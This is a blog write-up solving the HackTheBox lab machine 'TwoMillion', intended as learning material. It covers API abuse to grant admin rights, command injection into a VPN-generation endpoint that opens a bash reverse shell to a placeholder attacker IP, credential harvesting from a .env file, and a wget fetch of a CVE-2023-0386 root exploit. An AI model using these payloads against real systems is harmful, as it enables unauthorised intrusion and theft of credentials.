Post

Exploiting APIs in HackTheBox: TwoMillion

The HackTheBox challenge "TwoMillion" involved a little bit of everything, but plenty of API exploitation. The hardest part is simply finding the vulnerabilities, but this challenge offers a guided mode which gives you leads to follow.

Exploiting APIs in HackTheBox: TwoMillion

Getting User

Reconnaissance

  1. Nmap scan result:
PortProtocolService
22TCPSSH
80TCPHTTP
  1. Need 2million.htb in /etc/hosts

  2. On website, a button leads to 2million.htb/invite

inviteButton

Interesting File

  1. The /invite page loads a JavaScript file named inviteapi.min.js which can be read in Firefox’s Debugger.

Obfuscated JavaScript

  1. The JavaScript code is obfuscated (as if it wasn’t unreadable enough). To deobfuscate, use de4js. This is the result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}
  1. We can call these functions in the browser console. Calling makeInviteCode returns a string encrypted with ROT13:
1
2
3
Object { 0: 200, success: 1, data: {}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }

data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" }
  1. Using ROT13 on Cyberchef with (default) key 13: Message decrypts to In order to generate the invite code, make a POST request to /api/v1/invite/generate

  2. There are multiple ways to do this: See StackOverflow post. However, I will send directly from Firefox:
    1. Go to Network tab
    2. Find any prior POST request and right-click
    3. Edit and resend
  3. Sending the request to /api/v1/invite/generate yields the following:
1
2
3
4
5
6
7
8
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "R0laVE4tVzE4U0ctRjVWWEctSDRVSjM=",
    "format": "encoded"
  }
}
  1. The equal sign at the end gives away that this is base64
    • Decoded: GIZTN-W18SG-F5VXG-H4UJ3
  2. Pasting in the code: We are gifted a registration page:

Registration Page

We Registered

  1. I set up an account:
    • Username: encryptstar
    • Email: es@htb.org
    • Password: password
  2. I now have access to the site.

The site

  1. Clicking on “Access” in the left sidebar allows us to download an openvpn connection pack. - This is not directly useful, but we see it uses API to download the pack.
  2. Sending GET request to /api/v1 using the same Firefox trick, we see there are 3 API calls under “admin”:
1
2
3
4
5
6
7
8
9
10
11
"admin": {
    "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
    },
    "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
    },
    "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
    }
}
  1. First we want to set our user to admin via /api/v1/admin/settings/update so we can use the POST request. This takes a bit of trial and error:
  2. Sending an empty PUT request yields this error:
1
2
3
4
  {
    "status": "danger",
    "message": "Invalid content type."
  }
  1. It likely wants a message in JSON. To indicate this, we want to add a Content-Type: application/json header to our request. In Firefox, you can do it in the New Request box:

Add Content-Type

  1. Sending this PUT request yields this error:
1
2
3
4
  {
    "status": "danger",
    "message": "Missing parameter: email"
  }
  1. This means the message needs to have a JSON block in the PUT request body and it needs to have an “email” parameter (this likely should be my own):
1
2
3
  {
    "email": "es@htb.org"
  }
  1. Sending this PUT request yields this error:
1
2
3
4
  {
    "status": "danger",
    "message": "Missing parameter: is_admin"
  }
  1. The is_admin parameter is likely a boolean which I certainly want set to true. So here’s our new request:
1
2
3
4
  {
    "email": "es@htb.org",
    "is_admin": true
  }
  1. Got an error for using true instead of 1, so I simply replace true for 1 for our final request:
1
2
3
4
  {
    "email": "es@htb.org",
    "is_admin": 1
  }
  1. Lets verify we are indeed admin using a GET request to /api/v1/admin/auth. We got message: true!

We Admin Baby!

We Admin

  1. We need to set PUT to POST in the New Request field and use /api/v1/admin/vpn/generate.

New Request

  1. After trial and error, this is the body request that seems to work:
1
2
3
{
	"username": "encryptstar"
}
  1. This API call is likely vulnerable to command injection since it’s interacting with the system. Lets set up a reverse shell:
    1. Run nc -lvnp 6666 on the local system to listen for connections.
    2. In the JSON, inject a command like this:
    1
    2
    3
    
    {
        "username": "encryptstar;  /bin/bash -c '/bin/bash -i >& /dev/tcp/<HACKER_IP>/<HACKER_PORT> 0>&1'"
    }
    
    1. The semicolon marks the username as the end of the command and /bin/bash -c '/bin/bash -i >& /dev/tcp/<HACKER_IP>/<HACKER_PORT> 0>&1' as a new command to chain with it.

We Shell

  1. Now we have a shell into the system! But we still don’t got the user flag.
  2. However, passwords are normally stored in environment variables, which PHP usually stores in .env
    1. Running find / -name .env 2>/dev/null returns /var/www/html/.env
    2. This file has a username and password!
    1
    2
    3
    4
    
    DB_HOST=127.0.0.1
    DB_DATABASE=htb_prod
    DB_USERNAME=admin
    DB_PASSWORD=SuperDuperPass123
    
  3. With admin and SuperDuperPass123, we can ssh as admin! User flag acquired!

Getting Root

  1. Although the vulnerability could be found using linpeas, there is an email at /var/mail/admin which describes a vulnerability with OverlaysFS / FUSE.
    • This vulnerability is CVE-2023-0386
    • The Proof-of-Concept I found is here
  2. Just need to compile the binary and have the target fetch my binary:
    1. Download the PoC
    2. Launch an http-server in the same directory as the PoC
    3. Use wget http://<HACKER_IP>/poc.c on the target to download it.
    4. Compile and run it
  3. Root acquired!
This post is licensed under CC BY 4.0 by the author.